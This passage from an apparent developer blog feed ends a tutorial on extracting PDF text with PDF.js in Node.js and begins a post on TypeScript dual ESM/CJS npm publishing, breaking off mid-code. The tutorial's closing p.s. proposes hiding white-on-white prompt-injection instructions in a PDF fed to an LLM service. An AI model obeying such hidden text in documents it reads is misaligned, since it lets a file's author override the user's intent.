&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;pdfData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fs.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(pdfPath);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;pdfDataArray&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Uint8Array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(pdfData);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;pdfDocument&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pdfjsLib.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getDocument&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    data: pdfDataArray,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    standardFontDataUrl: path.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.dirname,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;node_modules/pdfjs-dist/standard_fonts/&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }).promise;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; extractedText &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Iterate through all the pages in the PDF file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// and extract the text from each page, then assign it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// to an accumulator variable  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pageNum &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;; pageNum &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pdfDocument.numPages; pageNum&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;page&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pdfDocument.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getPage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(pageNum);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;textContent&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getTextContent&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;pageText&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; textContent.items.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;item&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; item.str).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    extractedText &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pageText &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; extractedText;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;extractTextFromPDF&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(filePath);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(text);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(console.error);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;how-to-fix-warning-standardfontdataurl-error-with-pdfjs-in-nodejs&quot;&gt;How to fix “warning standardFontDataUrl” error with PDF.js in Node.js&lt;/h2&gt;
&lt;p&gt;Lastly, you might encounter a console warning when using Mozilla’s PDF.js library in Node.js like I did, which relates to fonts.&lt;/p&gt;
&lt;p&gt;You’ll notice that when we passed the PDF document data to the &lt;code&gt;pdfjsLib.getDocument&lt;/code&gt; function, I also specified a &lt;code&gt;standardFontDataUrl&lt;/code&gt; option. This is because the PDF.js library needs to be specified some directory to locate fonts related to the PDF document.&lt;/p&gt;
&lt;p&gt;If you omit this option you’ll get a console warning when you run the Node.js PDF parsing program such as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Warning: fetchStandardFontData: failed to fetch file&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To solve that, I specified the location of the fonts that are shipped in the &lt;code&gt;pdfjs-dist&lt;/code&gt; package:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;standardFontDataUrl: path.join(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  import.meta.dirname,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  &quot;node_modules/pdfjs-dist/standard_fonts/&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s it. Happy hacking!&lt;/p&gt;
&lt;p&gt;p.s. to riff off of my hacking blessings to you - here’s a crazy idea: change the color of the text added in the PDF from black or whatever you chose to white on white background, making it invisible, throw in some classic prompt injection instructions and pass that over to an LLM powered service and see what happens :-)&lt;/p&gt;</content:encoded></item><item><title>TypeScript in 2025 with ESM and CJS npm publishing is still a mess</title><link>https://lirantal.com/blog/typescript-in-2025-with-esm-and-cjs-npm-publishing/</link><guid>https://lirantal.com/blog/typescript-in-2025-with-esm-and-cjs-npm-publishing/</guid><description>How do you handle TypeScript, dual ESM and CJS publishing, and the JavaScript toolchain in 2025? Here&apos;s a brief overview of the current state of the ecosystem and the tooling I personally use.</description><pubDate>Tue, 14 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;How does the JavaScript ecosystem tooling looks like in 2025 for TypeScript developers and publishing to the registry?&lt;/p&gt;
&lt;p&gt;Well, first off, there are now several JavaScript ecosystem points in the toolchain that are on the verge of hopefully unlocking a better developer experience for TypeScript developers and for a modern JavaScript ecosystem as a whole. This extends and includes gaps related to dual publishing of ESM and CJS modules to a registry and so on.&lt;/p&gt;
&lt;p&gt;So what’s in store right now with regards to modules and publishing toolchain in 2025?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JSR.io - A new JavaScript registry that aims to replace npmjs.com. This isn’t just a new storage place to push your packages to. JSR aims to be the natural choice to publish modern JavaScript packages and that means that code is written with TypeScript and packages are distributed via the modern ECMAScript modules as is the web standard for.&lt;/li&gt;
&lt;li&gt;Node.js v22 and v23 introduced native support for CommonJS modules to require ESM modules. This was previously available via the experimental command-line flag &lt;code&gt;--experimental-require-module&lt;/code&gt; but with v23 and a backport to v22 of Node.js, this is now supported out of the box. To recall why this is a big deal in terms of relieving the pain of dual publishing, it’s because prior to this, Node.js would refuse to load ESM modules from a CJS module and would require you to manage &lt;code&gt;package.json&lt;/code&gt; exports, declare the &lt;code&gt;type&lt;/code&gt; field, and so on. That’s what lead to the dual publishing of ESM and CJS packages in the first place.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;typescript-and-esm-package-toolchain-in-2025&quot;&gt;TypeScript and ESM Package Toolchain in 2025&lt;/h2&gt;
&lt;p&gt;With all of the above context and new features in Node.js, and possibly the rise of the new JSR.io registry, not everyone are on the latest edge of the Node.js runtime and there’s some catching up to do.&lt;/p&gt;
&lt;p&gt;For this reason, I’m still likely going to manage dual publishing of ESM and CJS packages for a while. This is where the package build toolchain comes in and I want to share what I’ve come up with as a good balance for supporting TypeScript and ECMAScript modules that get transpiled and bundled to CommonJS modules (and to ESM) with a dual module system publishing strategy.&lt;/p&gt;
&lt;h3 id=&quot;tsup&quot;&gt;tsup&lt;/h3&gt;
&lt;p&gt;So &lt;code&gt;tsup&lt;/code&gt;’s purpose is to be a bundler for Node.js and browsers that is simple to use. It might claim to be zero-config but I ended up having to manage a &lt;code&gt;tsup.config.ts&lt;/code&gt; regardless to customize and explicitly declare the behavior I’m expecting from the toolchain.&lt;/p&gt;
&lt;p&gt;The role for &lt;code&gt;tsup&lt;/code&gt; is that I run it as part of the &lt;code&gt;npm run build&lt;/code&gt; process in which it transpiles TypeScript to JavaScript (and can bundle it into a single file if you choose to) and allows me to output both CJS and ESM modules, taking care of the &lt;code&gt;dist/&lt;/code&gt; directory and all of that. I still however had to manage the &lt;code&gt;package.json&lt;/code&gt; exports field and the &lt;code&gt;type&lt;/code&gt; field to declare the module system.&lt;/p&gt;
&lt;p&gt;Here’s the related &lt;code&gt;package.json&lt;/code&gt; snippet that I use &lt;code&gt;tsup&lt;/code&gt; with:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;types&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;dist/main.d.ts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;module&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;bin&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./dist/bin/cli.cjs&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;exports&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;import&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;types&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./dist/main.d.ts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;default&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./dist/main.mjs&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;require&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;types&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./dist/main.d.cts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;default&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./dist/main.cjs&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;default&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./dist/main.mjs&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;./dist/*&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;types&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./dist/*.d.ts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;import&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./dist/*.mjs&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;require&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./dist/*.cjs&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;tsc &amp;#x26;&amp;#x26; tsup&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then my &lt;code&gt;tsup.config.ts&lt;/code&gt; has some specific declarations in it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;My entry points. You’ll notice there are two, due to the CLI executable that gets shipped with the package.&lt;/li&gt;
&lt;li&gt;The extension for the output files being &lt;code&gt;.mjs&lt;/code&gt; and &lt;code&gt;.cjs&lt;/code&gt; for ESM and CJS respectively so that older Node.js versions can still require the CJS module based on the filename convention.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { defineConfig } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;tsup&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
